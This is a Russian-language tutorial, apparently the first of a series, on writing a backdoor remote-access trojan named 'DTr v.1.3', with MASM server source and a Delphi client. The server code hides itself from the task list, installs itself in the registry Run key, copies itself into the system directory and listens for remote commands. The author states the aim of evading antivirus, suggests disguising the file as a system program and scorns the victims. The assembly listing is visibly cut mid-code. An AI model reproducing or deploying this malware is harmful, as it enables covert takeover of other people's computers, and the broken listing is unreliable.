Как самому написать BackDoor: Asm + Delphi

BackDoor. Так первую версию моей проги
удаленного администрирования назвал
небезызвестный Кашперский. Я обиделся, но
слово мне понравилось. Ассоциируется с "все
в сад" и "уйти огородами". В цикле
статей я хочу  представить почти все
исходники моей программы "DTr v.1.3"
вместе с разъяснениями (все разжевывать не
буду, но кому надо, тот поймет). Цель всего
этого очень проста -  при изменении
исходников такие типы как Кашперский  (AntiViraltoolkit
Pro и т.п.) какое-то время просто будут
отдыхать. Моральные аспекты меня не смущают
- людей, не способных поставить firewall и не
смотрящих,  что там вместе с маздаем
запускается, надо наказывать. Исходники
приводятся на асме и на Delphi. Если ты
поскучнел  и обломался читать дальше, то
готовую программу можно взять с  http://www.danil.dp.ua.
Может, все вещи, о которых я буду говорить,
уже давно известны, но кому-то могут
пригодиться и люди, использующие мою прогу,
просили предоставить исходники. Писалась
"DTr v.1.3" на MASM v.4 и на Delphi 5. 

В принципе, писать можно на чем угодно - по
большому счету,  исходники будут
отличаться только вызовом функций WinAPI.
Также желательно взять AsmEdit. AsmEdit я
предпочитаю от Anatoly Voznuk - http://www.avt.newmail.ru
(если разобраться в настройках, то как AsmEdit,
HTMLedit и замена NotePad он  просто незаменим).
Если других вариантов нет, то Delphi и MASM можно
взять на базаре. "Компактные" купцы
дают гарантию на нечитабельность и глюки.
Если что, то меняют. Дальше думай сам. Если у
тебя есть актерские таланты, то в
результате у тебя будут установлены Delphi, MASM
и на полке будет лежать какой-нибудь нужный
в хозяйстве компакт. Пригодится и программа
для сжатия exe и dll. "ASpack" можно взять на http://www.aspack.com. 
Будет работать бесплатно несколько дней, ну
а если что, то crack  сам знаешь где взять.
Теперь об программах типа "DTr v.1.3".
Обычно это сервер  (запускается и
работает на удаленном компе) и клиент (на
твоей машине). Есть как минимум 4
разновидности сервера : 

1) драйвер, сервис (обнаружить также тяжело
как и написать);
2) встроенный в что-нибудь;
3) автозапуск прописывается в "win.ini";
4) автозапуск прописывается в реестр винды.

Здесь мы рассмотрим четвертую
разновидность. Можно просто прописать в
ключ реестра "HKLM/Software/Microsoft/Windows/Current Version/Run"
какой-нибудь параметр со значением,
являющейся  командной строкой запуска
сервера. Можно, например, обозвать сервер
lternat.exe (эль маленькая вначале), запускать в
программе "настоящий" "internat.exe" (переключение
языков) и соответствующим образом изменить
параметр "Internat" в реестре. Вариантов
много.

Сервер будем писать на MASM - размер должен
быть маленьким. Вот исходники скелета
сервера ("dtr13_s.asm") :

.486
.model flat,stdcall
option casemap:none
include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib
; МОИ ФУНКЦИИ
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; КОНСТАНТЫ
.DATA 
NilStr db " ",0 
WinVer1 db "Система сервера : Windows 32s",0
WinVer2 db "Система сервера : Windows NT",0
WinVer3 db "Система сервера : Windows 9x/ME",0
WinStr1 db "WINDOWS-каталог : ",0
WinStr2 db "TEMP-каталог : ",0
WinStr3 db "SYSTEM-каталог : ",0
WinStr4 db "Текущий пользователь : ",0
WinStr5 db "Имя компьютера : ",0
ActWin1 db "Заголовок активного приложения :
",0
ListFileStr000 db 13,10,0
ClassName db "DTR13Class",0
AppName db "DTR13",0
IconName db "TDIcon",0
kernel32 db "kernel32.dll", 0
rundll32 db "rundll32.exe", 0
ACDdis db "RegisterServiceProcess", 0
bkl db "\",0
RegStr001 db "HKEY_CLASSES_ROOT\",0
RegStr002 db "HKEY_CURRENT_USER\",0
RegStr003 db "HKEY_LOCAL_MACHINE\",0
RegStr004 db "HKEY_USERS\",0
DopLang1 db "Текущий язык : НЕ ОПРЕДЕЛЕН",0
DopLang2 db "Текущий язык : РУССКИЙ",0
DopLang3 db "Текущий язык : ENGLISH",0
StartupInfo STARTUPINFO <>
wsadata WSADATA <>
sin sockaddr_in <>
WM_SOCKET equ WM_USER + 100
AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 ;
Ключ автозапуска
DTrKeyName db "Software\Microsoft\DTr003\",0 ; ключ
программы
AutoRegValue db "nbsession",0 ; переменная реестра
автозапуска
AutoRegValue1 db "nb003.exe" ,0 ; файл программы
AutoRegValue2 db "SysValue",0 ; переменная реестра
для порта
AutoRegValue3 dd 10001 ; Порт по умолчанию = 10001
; ПЕРЕМЕННЫЕ
.DATA?
hInstance dd ?
CommandLine dd ?
sock dd ?
client dd ?
BufStr0 db 6666 dup (?) ; Буфер отправки
BufStr1 db 6666 dup (?) ; Буфер приема
VerStr db 128 dup (?)
VerDD dd ? 
CommandStr db 30 dup (?)
CommandStr1 db 4096 dup (?)
CommandStr2 db 4096 dup (?)
CommandStr3 db 4096 dup (?)
pKey dd ?
Disp dd ?
ActWin dd ?
Lang dd ?
cmd dd ? 
cmd0 dd ?
Bufcmd dd ?
WinDir db 900 dup(?)
Port dd ?
DW_SIZE EQU 4
DWordSize dd ?
Temp dd ?
; Раздел кода
.CODE
start: 
; Выйти, если уже запущена
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit 
; Скрыть по "Alt"+"Ctrl"+"Del"
invoke GetModuleHandle, addr kernel32
or eax,eax
jz continue
invoke GetProcAddress, eax, addr ACDdis
or eax, eax
jz continue
push 1
push 0
call eax
continue:
; Получить значение порта из реестра
;порт=10001
mov Port,10001
;открываем ключ в реестре
invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr DTrKeyName, addr pKey
.IF eax == 0 
; Читаем из реестра
mov eax, REG_DWORD
mov Temp, eax
mov DWordSize, DW_SIZE
invoke RegQueryValueEx, pKey, addr AutoRegValue2, NULL, ADDR Temp, addr cmd,
addr DWordSize
.IF eax == 0
mov eax,cmd
.IF (eax > 0)
mov Port, eax
.ENDIF
.ELSE
; Если параметра нет, записываем порт=10001
invoke RegSetValueEx, pKey, addr AutoRegValue2, NULL, REG_DWORD, addr
AutoRegValue3, DW_SIZE
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
; Автостарт
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey 
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1,
sizeof AutoRegValue1
.ENDIF
invoke RegCloseKey, pKey
; Копируем прогу в WINDOWS\SYSTEM\
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat,addr WinDir,addr bkl
invoke lstrcat,addr WinDir,addr AutoRegValue1
invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE
; Старт
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax

endREAD :
.ENDIF
.ENDIF
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start 

После компиляции у нас должен появиться
файл "dtr13_s.exe". Пару слов о том, как это
все работает. При запуске программы она
записывает в реестр параметр "nbsession" со
значением "nb003.exe" в ключе
"HKLM/SoftWare/Microsoft/Windows/Current Version/Run" - для
старта вместе с m$ window$. ВНИМАНИЕ! Если
система - WinNT, и пользователь  - не
администратор, то облом - энтюха не пустит в
HKLM. Потом зверь переписывает себя в каталог
<WinSystemDir>, получает значение порта из
переменной "SysValue" в ключе
"Software\Microsoft\DTr003\", инициализирует сокет
с получением сообщений при соединении и
чтении, получает версию винды, создает
скрытое окно и запускает цикл обработки
сообщений. Этот скелет сервера может
реагировать на соединение и на прием
команды "helo". 

Теперь нужно написать клиент. Для клиента
размер не важен, а хочется сделать все
красиво - для себя стараемся. Клиент пишем
на Delphi 5. По моему мнению, самая удобная
среда создания программ, хотя размеры,
РАЗМЕРЫ... Запускаем Delphi. Вверху в меню ищем
"File", нажимаем "Close All", "New
Application". У нас появилась форма - главное
окно нашей программы. Теперь туда вставим
объекты Memo ("Memo1"), два Edit ("Edit1",
"Edit2"), Button ("Button1"). Все с раздела
"Standart". "Memo1" нужен для отображения
сообщений сервера, "Edit1" - адрес сервера,
"Edit2" - порт и "Button1" - для
соединения/разъединения. Для посылки
серверу команд, будем использовать кнопки с
объекта "ToolBar" (закладка "Win32").
После расположения на форме "ToolBar1", click-нем
по нему правой кнопкой мыши, и выберем "New
Button". Этой кнопкой мы будем посылать
серверу команду "helo". Объекты "Memo1"
и "ToolBar1" сделаем невидимыми (слева в
"Properties", "Visible" = "false"). Теперь
с закладки "Internet" кинем на форму объект
"ClientSocket" - "ClientSocket1". Выделим его и
перейдем в список событий - "Object Inspector"
-> "Events". Нас интересуют 4 события: при
соединении, при ошибке, при разъединении и
при чтении. Это onConnect, onError, onDisconnect и onRead
соответственно. Два раза нажимаем на каждом,
на наш "Button1" и на кнопку в "ToolButton1".
Чтобы избежать всяких накладок и т.п.,
создадим очередь приходящих сообщений. Для
этого надо создать список с указателем на
начало, конец и процесс обработки списка.
Для преобразования имени сервера в IP-адрес,
необходимо добавить "WinSock" в раздел
"uses".
Вот исходники ("Unit1.pas") :

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ComCtrls, ToolWin, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Memo1: TMemo;
Button1: TButton;
ToolBar1: TToolBar;
ToolButton1: TToolButton;
ClientSocket1: TClientSocket;
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Button1Click(Sender: TObject);
procedure ToolButton1Click(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
// Типы для преобразования адреса
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
Form1: TForm1;
constat : Boolean =false;
ph : PHostEnt;
pptr : PaPInAddr;
DopStr : String;
I : Integer;
implementation
type
TRecvThread = class(TThread) // процесс обработки списка
private
procedure CommandRecvThread;
protected
procedure Execute; override;
end;
TLstRecv = ^ TListRecv; // список
TListRecv = record
BufIn : array[1..6666] of Char;
Point : TLstRecv;
end;
var
// Указатели на начало и конец списка
LstRbeg,LstRend : TLstRecv;
RecvThread : TRecvThread;
{$R *.DFM}
// Соединение
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
constat:=true;
Form1.Memo1.Visible:=true;
Form1.ToolBar1.Visible:=true;
Form1.Button1.Caption:='DISconnect';
end;
// Рассоединение
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
constat:=false;
Form1.Caption:='КЛИЕНТ';
Form1.Memo1.Visible:=false;
Form1.ToolBar1.Visible:=false;
Form1.Button1.Caption:='Connect';
end;
// Ошибка
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Form1.ClientSocket1Disconnect(Sender, Socket);
end;
// Подготовка соединения и инициализация
сокета
procedure TForm1.Button1Click(Sender: TObject);
begin
if not constat then begin
try
Form1.ClientSocket1.Port:=StrToInt(Form1.Edit2.Text);
DopStr:=Form1.Edit1.Text; 
//преобразованиt имени сервера в IP-адрес 
if inet_addr(PChar(Form1.Edit1.Text))<=0 then begin
ph:=gethostbyname(PChar(Form1.Edit1.Text));
if ph=nil then begin
Application.MessageBox(PChar('Неизвестный адрес
"'+Form1.Edit1.Text+'" или компьютер с указанным
именем находится off-line.'),'СООБЩЕНИЕ',mb_Ok+mb_TaskModal+mb_IconAsterisk);
exit;
end;
DopStr:='';
pptr := PaPInAddr(ph^.h_addr_list);
I:=0;
while pptr^[I] <> nil do begin
DopStr:=inet_ntoa(pptr^[0]^);
inc(i);
if DopStr<>'' then if Application.MessageBox(PChar('По
указанному Вами пути найден IP-адрес
"'+DopStr+'". Соедениться по этому адресу?'+#13+#13+'
В случае если не будет найдено других IP-адресов,
произойдет соединение по последнему
полученному.'),'DNS',mb_YesNo+mb_IconQuestion+mb_TaskModal)=idYes
then break;
end;
end;
if DopStr='' then begin
Application.MessageBox(PChar('Неизвестный адрес
"'+Form1.Edit1.Text+'" или компьютер с указанным
именем находится off-line.'),'СООБЩЕНИЕ',mb_Ok+mb_TaskModal+mb_IconAsterisk);
exit;
end;
// запуск процесса обработки очереди 
LstRbeg:=nil;
LstRend:=nil;
try
RecvThread:=TRecvThread.Create(false);
except
Application.MessageBox('Ошибка создания процесса
обработки полученных сообщений. Программа
не будет реагировать на полученные
сообщения. Выйдите из программы и
попробуйте запустить заново.','',mb_Ok+mb_TaskModal+mb_IconStop);
end;
Application.ProcessMessages;
ClientSocket1.Address:=DopStr;
ClientSocket1.Active:=true;
Form1.Caption:='КЛИЕНТ connect ['+Form1.Edit1.Text+']';
except
ClientSocket1.Active:=false;
end;
end else ClientSocket1.Active:=false;
end;
// Послать команду серверу
procedure TForm1.ToolButton1Click(Sender: TObject);
begin
Form1.ClientSocket1.Socket.SendText('helo');
end;
// Получение команды
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
LstRdop1 : TLstRecv;
begin
RecvThread.Suspend;
New(LstRdop1);
FillChar(LstRdop1^.BufIn,6666,0);
Socket.ReceiveBuf(LstRdop1^.BufIn,6666);
LstRdop1^.Point:=nil;
if LstRend<>nil then begin
LstRend^.Point:=LstRdop1;
LstRend:=LstRdop1;
end else LstRend:=LstRDop1;
if LstRbeg=nil then LstRbeg:=LstRDop1;
RecvThread.Resume;
end;
// Инициализация процесса обработки очереди
procedure TRecvThread.Execute;
begin
// цикл обработки очереди 
while not RecvThread.Terminated do begin
Application.ProcessMessages;
Synchronize(CommandRecvThread);
Sleep(100);
end;
end;
// обработка очереди
procedure TRecvThread.CommandRecvThread;
var
LstRdop : TLstRecv;
DopS : String;
label ex;
begin
LstRdop:=LstRbeg;
if LstRdop<>nil then begin
try
DopS:='';
DopS:=LstRdop^.BufIn;
// высветить в Memo1
if trim(DopS)<>'' then Form1.Memo1.Lines.Add(DopS+#13);
ex :
finally
if LstRDop^.Point<>nil then LstRbeg:=LstRDop^.Point
else LstRbeg:=nil;
if LstRbeg=nil then LstRend:=nil;
Dispose(LstRdop);
end;
end;
end;
end.

Клиент и сервер будут работать на системах
Win-9x/ME/NT. На win2000 работать не будет - нет
некоторых функций. Также необходим
установленный протокол TCP/IP. Проверим все
это. Запустим сервер. Запустим клиент. В
элементе управления "Edit1" укажем 127.0.0.1.
В "Edit2" - 10001. Нажмем "Button1". Если
руки не кривые, то должно появиться
сообщение о системе сервера. Соединение
произошло. Нажмем кнопку, посылающую
серверу команду "helo". Все, проверка
закончена. 

В следующих статьях мы рассмотрим:
* как запускать приложения на сервере;
* как редактировать реестр сервера;
* как издеваться над юзером;
* как сделать файловый менеджер на клиенте
для сервера;
* как закачивать файлы на сервер и с сервера;
* как получать дополнительную информацию с
сервера;
* как сделать снимок экрана сервера;
* как управлять запущенными процессами на
сервере;
и т.д.

P.S. Статья и программа предоставлена в целях
обучения и вся ответственность за их
использование ложится на твои хилые плечи.